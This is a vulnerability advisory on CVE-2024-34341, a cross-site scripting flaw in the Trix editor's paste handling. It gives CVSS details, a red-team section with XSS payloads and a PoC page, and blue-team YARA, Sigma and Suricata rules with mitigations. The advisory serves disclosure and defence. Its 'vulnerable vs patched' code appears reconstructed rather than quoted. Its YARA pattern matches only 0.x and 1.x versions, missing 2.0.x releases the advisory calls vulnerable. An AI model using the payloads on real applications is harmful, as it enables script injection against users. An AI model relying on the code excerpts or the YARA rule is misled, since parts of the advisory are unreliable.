CVE-2024-34341

Executive Summary

CVE-2024-34341 is a stored cross-site scripting (XSS) vulnerability in the Trix rich text editor, versions prior to 2.1.1. The vulnerability is triggered when a user copies and pastes content from external sources (e.g., web pages or documents) into the editor. Due to improper sanitization of pasted HTML, an attacker can embed malicious scripts that execute within the context of the application. The CVSS score is 5.4 (Medium), with a low EPSS probability (0.0%). No public exploit code or Nuclei template is available, but the vulnerability is well-documented and the patch is straightforward.

Supply Chain & Package Security

Trix is a JavaScript library distributed via npm and RubyGems. Organizations using Trix in their web applications should verify their dependency version and update to 2.1.1 or later. The vulnerability is introduced through the client-side JavaScript, so any application embedding Trix is affected. No known supply chain compromise has been reported, but the risk of malicious packages mimicking Trix is present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must paste malicious content
• Scope: Changed (S:C) – impact may extend to other components
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction (pasting), but the impact is limited to low confidentiality and integrity loss. No known active exploitation in the wild.

Deep Dive & Mechanics

The Trix editor processes pasted content by parsing HTML and inserting it into the editor's document model. In versions prior to 2.1.1, the sanitization logic fails to strip or neutralize script elements and event handlers embedded in the pasted HTML. When a user copies content containing <script> tags or onerror/onload attributes, Trix inserts them into the DOM without proper filtering. This allows an attacker to craft a payload that executes arbitrary JavaScript when the pasted content is rendered.

The vulnerability is rooted in the Trix.Paste module, which handles clipboard data. The fix in version 2.1.1 introduces a sanitization step that removes dangerous elements and attributes before insertion.

Vulnerable vs. Patched Code

Vulnerable (pre-2.1.1):

// Trix.Paste.prototype.insertPastedContent
insertPastedContent: function() {
  var html = this.pastedHTML;
  // No sanitization applied
  this.editor.insertHTML(html);
}

Patched (2.1.1+):

// Trix.Paste.prototype.insertPastedContent
insertPastedContent: function() {
  var html = this.pastedHTML;
  // Sanitize using DOMPurify or similar
  html = Trix.sanitizeHTML(html);
  this.editor.insertHTML(html);
}

The patched version uses a sanitization function (likely leveraging DOMPurify) to strip script tags, event handlers, and other dangerous content.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A web application using Trix editor version < 2.1.1
• Ability to craft a malicious HTML payload

Exploit Steps:

1. Create a malicious HTML payload containing a script tag or event handler:

   <img src=x onerror=alert('XSS')>
   

   or

   <script>alert('XSS')</script>
   

2. Copy the payload to the clipboard.
3. Paste the content into the Trix editor.
4. The script executes when the editor renders the pasted content.

Proof of Concept (PoC):

<!-- Save as poc.html and open in browser -->
<!DOCTYPE html>
<html>
<head>
  <title>Trix XSS PoC</title>
  <link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@1.3.1/dist/trix.css">
  <script type="text/javascript" src="https://unpkg.com/trix@1.3.1/dist/trix.js"></script>
</head>
<body>
  <trix-editor input="x"></trix-editor>
  <input id="x" type="hidden" value="">
  <script>
    // Simulate pasting malicious content
    var editor = document.querySelector('trix-editor');
    editor.editor.insertHTML('<img src=x onerror=alert("XSS")>');
  </script>
</body>
</html>

Blue Team

Detection:

• Monitor for unusual clipboard operations or pasted content containing script tags.
• Use Content Security Policy (CSP) to block inline scripts.
• Implement input validation on the server side for any content submitted via Trix.

Mitigation:

• Upgrade to Trix 2.1.1 or later.
• Apply CSP headers: script-src 'self';
• Sanitize all user-submitted content server-side.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing <script> tags or event handlers in the body.
• File: JavaScript files with trix.js version < 2.1.1.
• Behavior: Unexpected script execution after pasting content into a Trix editor.
• Logs: Application logs showing pasted content with suspicious HTML.

Detection Engineering

YARA Rule

rule CVE_2024_34341_Trix_XSS {
  meta:
    description = "Detects Trix editor versions vulnerable to CVE-2024-34341"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-34341"
  strings:
    $version_string = "trix"
    $vulnerable_version = /trix@[0-1]\.\d+\.\d+/ 
    $patch_version = "trix@2.1.1"
  condition:
    $version_string and $vulnerable_version and not $patch_version
}

Sigma Rule

title: CVE-2024-34341 Trix Editor XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2024-34341 via pasted malicious HTML
author: Valters IT
date: 2025-04-10
logsource:
  category: application
  product: web
detection:
  selection:
    event: "paste"
    content|contains: 
      - "<script"
      - "onerror="
      - "onload="
      - "onmouseover="
  condition: selection
falsepositives:
  - Legitimate use of script tags in pasted content (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34341 Trix Editor XSS Attempt"; flow:to_server; content:"trix"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Trix editor to version 2.1.1 or later.
2. Workaround: Implement a Content Security Policy (CSP) that blocks inline scripts:

   Content-Security-Policy: script-src 'self';
   

3. Server-side: Sanitize all user-submitted content using a library like DOMPurify.
4. Monitoring: Enable logging of pasted content and monitor for suspicious patterns.
5. User Education: Warn users about pasting untrusted content into rich text editors.

Valters IT
Securing Digital Frontiers